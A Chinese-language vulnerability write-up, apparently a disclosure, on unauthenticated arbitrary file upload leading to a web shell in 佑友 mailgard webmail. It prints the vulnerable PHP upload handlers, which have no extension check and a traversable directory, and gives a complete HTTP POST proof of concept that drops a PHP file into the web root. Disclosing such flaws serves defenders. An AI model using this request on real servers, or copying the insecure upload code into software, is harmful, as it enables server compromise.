佑友mailgard webmail任意文件上传导致getshell

一、某些文件存在越权访问(无需登录即可访问)
没有包含根目录下global.php的文件,都可以直接访问不会跳转到登陆界面

于是查找可能存在越权访问的文件:

$ find -name "*.php" | xargs grep -L -E "^require_once.+(\.\.\/global|[^/]global)\.php.+;$"

剔除掉无用的文件,留下几个有意思的php文件:

./overflow_alarm.php
./sms_send.php
./src/old.rule.php
./src/public_folders_upload.php
./src/big_attach.php
./src/big_att_upload.php
./src/read_data.php
./src/upload.php
./sync/linkman.php

二、代码问题导致任意文件上传
瞅瞅/src/big_att_upload.php的代码,为了保护程序猿,咱打上马赛克哈

<?php


require_once('../config/config.php');
require_once('../functions/global.php');


if (isset($_POST["PHPSESSID"])) {
	session_id($_POST["PHPSESSID"]);
}


$realDir = realPath($_POST['dir']).'/';

$goexpr = true;
if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {
	$fStr = $_FILES["Filedata"]["name"]; //后缀总是要判断下的吧~
	$fSize = getUnitSpace($_FILES["Filedata"]["size"]);
	$fArr = explode('.', $fStr);
	$fSuffix = end($fArr);
	$fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));
	$movefile = $realDir.$fStr;
	$auton = 0;
	while($goexpr){
		if(is_file($movefile) && $_POST['attachType'] == 'big_att'){
			$movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;
			$fStr = $fPrefix.'('.$auton.').'.$fSuffix;
			$auton++;
		}else{
			$goexpr = false;
		}
	}

	
	if(move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile)){
		if($_POST['attachType'] == 'big_att'){
			echo 'big_att:'.$fStr.':'.$fSize;exit;
		}else{
			echo '1';exit;  //成功就输出1
		}
	}

}
?>

这也是醉了,不仅有越权访问,而且上传还木有任何后缀限制
直接上传把filename对应文件放到realPath($_POST['dir']).'/'下

POST http://mail.0day5.com:889/src/big_att_upload.php HTTP/1.1
Host: mail.0day5.com:889
Connection: keep-alive
Content-Length: 658
Origin: http://mail.0day5.com:889
X-Requested-With: ShockwaveFlash/16.0.0.305
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Accept: */*
Referer: http://mail.0day5.com:889/src/write_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn

------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filename"

vultest.php
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="PHPSESSID"

outb98m2mckt5a03pejd1aqra0
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="dir"

/var/www/newmail/
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filedata"; filename="vultest.php"
Content-Type: application/octet-stream

12345
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Upload"

Submit Query
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--

success
还有2个上传点也是一样的问题,realpath支持..

<?php

/*
 +-----------------------------------------------------------------------+
 | Author:                                                               |
 +-----------------------------------------------------------------------+
*/

require_once('../config/config.php');
// 网络硬盘
// Work-around for setting up a session because Flash Player doesn't send the cookies
if (isset($_POST["PHPSESSID"])) {
	session_id($_POST["PHPSESSID"]);
}

$netDiskDir = HM_BOXS.$_POST['netDiskDir'];


$realDir = realPath($netDiskDir.'/'.$_POST['curDir']).'/';
if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
	$_FILES["Filedata"] = $_FILES["Filedata2"];
}

$goexpr = true;
if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {
	$fStr = $_FILES["Filedata"]["name"];
	$fArr = explode('.', $fStr);
	$fSuffix = end($fArr);
	$fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));
	$movefile = $realDir.$fStr;
	$auton = 0;
	while($goexpr){
		if(is_file($movefile)){
			$movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;
			$auton++;
		}else{
			$goexpr = false;
		}
	}
	move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile);
}

if (isset($_FILES["Filedata2"]) || is_uploaded_file($_FILES["Filedata2"]["tmp_name"]) || $_FILES["Filedata2"]["error"] == 0) {
	echo 'document.getElementById("show_Filedata2").innerHTML = \'<input type="file" id="Filedata2" name="Filedata2">\';document.getElementById("PHPUploadProgress").style.display = "none";document.getElementById("PHPUploadCompose").style.display = "";';

}
echo '';
exit;
?>

/var/www/newmail/src/public_folders_upload.php:(realpath支持../)

<?php

require_once('../config/config.php');
// 公共文件夹
// Work-around for setting up a session because Flash Player doesn't send the cookies
if (isset($_POST["PHPSESSID"])) {
	session_id($_POST["PHPSESSID"]);
}

$pubDir = HM_BOXS.$_POST['pubDir'];
$realDir = realPath($pubDir.'/'.$_POST['curDir']).'/';
if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
	$_FILES["Filedata"] = $_FILES["Filedata2"];
}

$goexpr = true;
if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {
	$fStr = $_FILES["Filedata"]["name"];
	$fArr = explode('.', $fStr);
	$fSuffix = end($fArr);
	$fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));
	$movefile = $realDir.$fStr;
	$auton = 0;
	while($goexpr){
		if(is_file($movefile)){
			$movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;
			$auton++;
		}else{
			$goexpr = false;
		}
	}
	move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile);
	exit;
}

if (isset($_FILES["Filedata2"]) || is_uploaded_file($_FILES["Filedata2"]["tmp_name"]) || $_FILES["Filedata2"]["error"] == 0) {
	echo '<script type="text/javascript">parent.document.getElementById("show_Filedata2").innerHTML = \'<input type="file" id="Filedata2" name="Filedata2">\';parent.document.getElementById("PHPUploadProgress").style.display = "none";parent.document.getElementById("PHPUploadCompose").style.display = "";</script>';
}
echo '';
exit;
?>

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